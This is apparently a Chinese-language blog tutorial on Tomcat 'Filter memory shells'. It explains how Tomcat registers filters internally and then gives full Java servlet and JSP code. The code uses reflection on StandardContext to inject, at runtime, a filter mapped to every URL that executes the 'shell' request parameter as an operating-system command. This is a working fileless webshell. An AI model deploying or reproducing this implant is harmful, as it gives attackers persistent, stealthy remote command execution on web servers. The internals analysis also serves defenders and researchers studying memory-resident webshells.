tomcat Filter記憶體馬

2023-07-05 06:01:19

idea偵錯的時候加入原始碼

<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-catalina</artifactId>
    <version>8.5.81</version>
    <scope>provided</scope>
</dependency>

Servlet、Listener、Filter 由 javax.servlet.ServletContext 去載入,無論是使用 xml 組態檔還是使用 Annotation 註解設定,均由 Web 容器進行初始化,讀取其中的設定屬性,然後向容器中進行註冊。

Servlet 3.0 API 允許使 ServletContext 用動態進行註冊,在 Web 容器初始化的時候(即建立ServletContext 物件的時候)進行動態註冊。可以看到 ServletContext 提供了 add/create 方法來實現動態註冊的功能。

ServletContext

它會為每個web程式都建立一個對應的ServletContext物件,它代表當前的web應用。 事實上SpringMVC封裝的ApplicationContext 以及Struts2封裝的ApplicationContext裡面都是儲存著原本的ServletContext。

作用:

  • Web應用範圍記憶體取共用資料;
  • 存取web應用的靜態資源;
  • Servlet物件之間通過ServletContext物件來實現通訊。

ServletContext跟StandardContext的關係

  1. StandardContext

    • StandardContext是Tomcat伺服器中的一個元件,用於管理Web應用程式的上下文(Context)。
    • 它是javax.servlet.ServletContext介面的實現類,提供了一些額外的功能和管理能力。
    • StandardContext負責載入和初始化Web應用程式的設定資訊,包括Servlet、Filter、Listener等元件的註冊和管理。
    • 它還提供了對Web應用程式的生命週期管理,例如啟動、停止和重新載入等操作。
  2. ServletContext

    • ServletContext是Java Servlet規範中的一個介面,表示Web應用程式的上下文。
    • 每個Web應用程式都有一個唯一的ServletContext範例,用於在應用程式內共用資訊和資源。
    • ServletContext提供了一些方法,用於獲取Web應用程式的初始化引數、存取應用程式範圍的屬性、讀取Web應用程式的設定資訊等。
    • 它還提供了一些與Web容器互動的方法,例如獲取請求排程器、獲取資源的真實路徑等。

總結:
StandardContext是Tomcat伺服器中用於管理Web應用程式的上下文的實現類,而ServletContext是Java Servlet規範中定義的用於表示Web應用程式上下文的介面。它們的主要區別在於StandardContext提供了更多的管理和生命週期控制功能,而ServletContext則提供了存取應用程式範圍的屬性和設定資訊的方法。

Tomcat 中有 4 類容器元件,從上至下依次是:

  • Engine,實現類為 org.apache.catalina.core.StandardEngine
  • Host,實現類為 org.apache.catalina.core.StandardHost
  • Context,實現類為 org.apache.catalina.core.StandardContext
  • Wrapper,實現類為 org.apache.catalina.core.StandardWrapper

Filter 記憶體馬

Filter 我們稱之為過濾器,是 Java 中最常見也最實用的技術之一,通常被用來處理靜態 web 資源、存取許可權控制、記錄紀錄檔等附加功能等等。一次請求進入到伺服器後,將先由 Filter 對使用者請求進行預處理,再交給 Servlet。

通常情況下,Filter 設定在組態檔和註解中,在其他程式碼中如果想要完成註冊,主要有以下幾種方式:

  1. 使用 ServletContext 的 addFilter/createFilter 方法註冊;
  2. 使用 ServletContextListener 的 contextInitialized 方法在伺服器啟動時註冊(將會在 Listener 中進行描述);
  3. 使用 ServletContainerInitializer 的 onStartup 方法在初始化時註冊(非動態,後面會描述)。

追溯Filter的doFilter:

  1. FilterDemo重寫了doFilter,如何執行到FilterDemo的doFilter?

  2. ApplicationFilterChain的doFilter被執行,執行了internalDoFilter;

  3. filters[]是存放ApplicationFilterConfig的地方,包含filterDef和fitler物件,取出每個元組,賦值給filterConfig;

    Filter filter = filterConfig.getFilter();

  4. 然後執行了filter.doFilter(request, response, this);

  5. filters[]是在哪裡賦值的呢?

  6. 在StandardWrapperValve的invoke中

    ApplicationFilterChain filterChain =
    ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);然後執行了filterChain.doFilter。

    看看createFilterChain裡面做了什麼?

  7. 在ApplicationFilterFactory的createFilterChain中

    ApplicationFilterChain filterChain = null;

    StandardContext context = (StandardContext) wrapper.getParent();

    FilterMap filterMaps[] = context.findFilterMaps();從StandardContext組態檔中獲取filter,放入filterMaps

    這裡是根據前面獲取的filterMaps迴圈來獲取的

    for (FilterMap filterMap : filterMaps) 
    ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
                        context.findFilterConfig(filterMap.getFilterName());
    filterChain.addFilter(filterConfig);
    
  8. filterChain.addFilter(filterConfig),最後return filterChain。

  9. 在ApplicationFilterChain的addFilter中做了什麼?filters[n++] = filterConfig;所以最終filters[]裡面會有所有filter的filterConfig;

FilterConfigs:存放 filterConfig 的陣列,在 FilterConfig 中主要存放 FilterDef 和Filter 物件等資訊
FilterDefs:存放 FilterDef 的陣列 ,FilterDef 中儲存著我們過濾器名,過濾器範例等基本資訊
FilterMaps:存放 FilterMap 的陣列,在 FilterMap 中主要存放了 FilterName 和 對應的 URLPattern

fiterConfig的內容都是從context中得到,因此只要我們能控制context的內容就行了

動態註冊Filter

經過上面的分析,我們可以總結出動態註冊Filter的流程:

  1. 獲取上下文物件StandardContext
  2. 建立惡意Filter
  3. 構造FilterDef封裝filter
  4. 建立filterMap,將路徑與Filtername繫結,將其新增到filterMaps中
  5. 使用FilterConfig封裝filterDef,然後將其新增到filterConfigs中
package com.example.webshellfilter;

import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.ApplicationContextFacade;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import sun.misc.BASE64Decoder;

import javax.servlet.Filter;
import javax.servlet.ServletContext;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;

@WebServlet(name = "filterServlet", value = "/filterServlet")
public class FilterServletDemo extends HttpServlet {
    public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
        try {
            //1、通過request獲取ServletContext類
            //通過request獲取servletContext
            ServletContext servletContext = request.getServletContext();
            //其實這裡是ApplicationContextFacade的類
            System.out.println(servletContext.getClass());
            Field applicationContextFacadefield = servletContext.getClass().getDeclaredField("context");
            applicationContextFacadefield.setAccessible(true);
            //獲取servletContext物件中的context的值,因為是ApplicationContextFacade所以獲取到的context是ApplicationContext
            ApplicationContext applicationContext = (ApplicationContext) applicationContextFacadefield.get(servletContext);
            //通過applicationContext物件獲取StandardContext
            Field standardContextfield = applicationContext.getClass().getDeclaredField("context");
            standardContextfield.setAccessible(true);
            StandardContext standardContext = (StandardContext) standardContextfield.get(applicationContext);


            //將Filter物件通過反射實現載入
            ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
            //2、在Java中,可以使用defineClass方法將一個類動態地注入到當前的JVM中,這裡將filter類注入進去
            Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
            defineClass.setAccessible(true);
            BASE64Decoder base64Decoder = new BASE64Decoder();
            byte[] code = base64Decoder.decodeBuffer("yv66vgAAADQAWg....");
            defineClass.invoke(classLoader,code, 0, code.length);

            //3、新增filterDef
            System.out.println(Class.forName("FilterDemo").getName());
            Filter filterDemo = (Filter) Class.forName("FilterDemo").newInstance();
            FilterDef filterDef = new FilterDef();
            filterDef.setFilter(filterDemo);
            filterDef.setFilterName("FilterDemo");
            standardContext.addFilterDef(filterDef);

            //4、新增filterMap
            FilterMap filterMap = new FilterMap();
            filterMap.setFilterName("FilterDemo");
            filterMap.addURLPattern("/*");
            standardContext.addFilterMap(filterMap);

            //新增到standardContext的filterConfigs中
            //反射獲取filterConfigs
            //由於ApplicationFilterConfig經Final修飾,且構造方法為靜態方法,無法通過new範例化,需通過反射獲取ApplicationFilterConfig構造方法並範例化後新增入filterConfigs
            Field filterConfigs = standardContext.getClass().getDeclaredField("filterConfigs");
            filterConfigs.setAccessible(true);
            HashMap hashMap = (HashMap) filterConfigs.get(standardContext);
            Constructor<?> declaredConstructor = ApplicationFilterConfig.class.getDeclaredConstructors()[0];
            declaredConstructor.setAccessible(true);
            hashMap.put("FilterDemo",declaredConstructor.newInstance(standardContext,filterDef));

            PrintWriter out = response.getWriter();
            out.println("over");

        } catch (Exception e) {
            throw new RuntimeException(e);
        }
    }
}

jsp實現

<%@ page language="java" %>
<%@ page import="javax.servlet.http.HttpServletRequest" %>
<%@ page import="javax.servlet.http.HttpServletResponse" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="sun.misc.BASE64Decoder" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.util.HashMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="java.io.IOException" %>
<html>
<head>
    <title>Get Request Object in JSP</title>
</head>
<body>
<h1>Get Request Object in JSP</h1>
<%
    class FilterDemo implements Filter {
        @Override
        public void init(FilterConfig filterConfig) throws ServletException {
            System.out.println("初始加完成");
        }

        @Override
        public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
            servletRequest.setCharacterEncoding("utf-8");
            servletResponse.setCharacterEncoding("utf-8");
            servletResponse.setContentType("text/html;charset=UTF-8");
            System.out.println(servletRequest.getParameter("shell"));
            Runtime.getRuntime().exec(servletRequest.getParameter("shell"));
            System.out.println("過濾中。。。");
            filterChain.doFilter(servletRequest,servletResponse);
        }

        @Override
        public void destroy() {
            System.out.println("過濾結束");
        }
    }

    //1、通過request獲取ServletContext類
    //通過request獲取servletContext
    ServletContext servletContext = request.getServletContext();
    //其實這裡是ApplicationContextFacade的類
    System.out.println(servletContext.getClass());
    Field applicationContextFacadefield = servletContext.getClass().getDeclaredField("context");
    applicationContextFacadefield.setAccessible(true);
    //獲取servletContext物件中的context的值,因為是ApplicationContextFacade所以獲取到的context是ApplicationContext
    ApplicationContext applicationContext = (ApplicationContext) applicationContextFacadefield.get(servletContext);
    //通過applicationContext物件獲取StandardContext
    Field standardContextfield = applicationContext.getClass().getDeclaredField("context");
    standardContextfield.setAccessible(true);
    StandardContext standardContext = (StandardContext) standardContextfield.get(applicationContext);

    //3、新增filterDef
    FilterDemo filterDemo = new FilterDemo();
    FilterDef filterDef = new FilterDef();
    filterDef.setFilter(filterDemo);
    filterDef.setFilterName("FilterDemo");
    filterDef.setFilterClass(filterDemo.getClass().getName());
    standardContext.addFilterDef(filterDef);

    //4、新增filterMap
    FilterMap filterMap = new FilterMap();
    filterMap.setFilterName("FilterDemo");
    filterMap.addURLPattern("/*");
    standardContext.addFilterMap(filterMap);

    //新增到standardContext的filterConfigs中
    //反射獲取filterConfigs
    //由於ApplicationFilterConfig經Final修飾,且構造方法為靜態方法,無法通過new範例化,需通過反射獲取ApplicationFilterConfig構造方法並範例化後新增入filterConfigs
    Field filterConfigs = standardContext.getClass().getDeclaredField("filterConfigs");
    filterConfigs.setAccessible(true);
    HashMap hashMap = (HashMap) filterConfigs.get(standardContext);
    Constructor<?> declaredConstructor = ApplicationFilterConfig.class.getDeclaredConstructors()[0];
    declaredConstructor.setAccessible(true);
    hashMap.put("FilterDemo",declaredConstructor.newInstance(standardContext,filterDef));

    System.out.println("over");

%>
</body>
</html>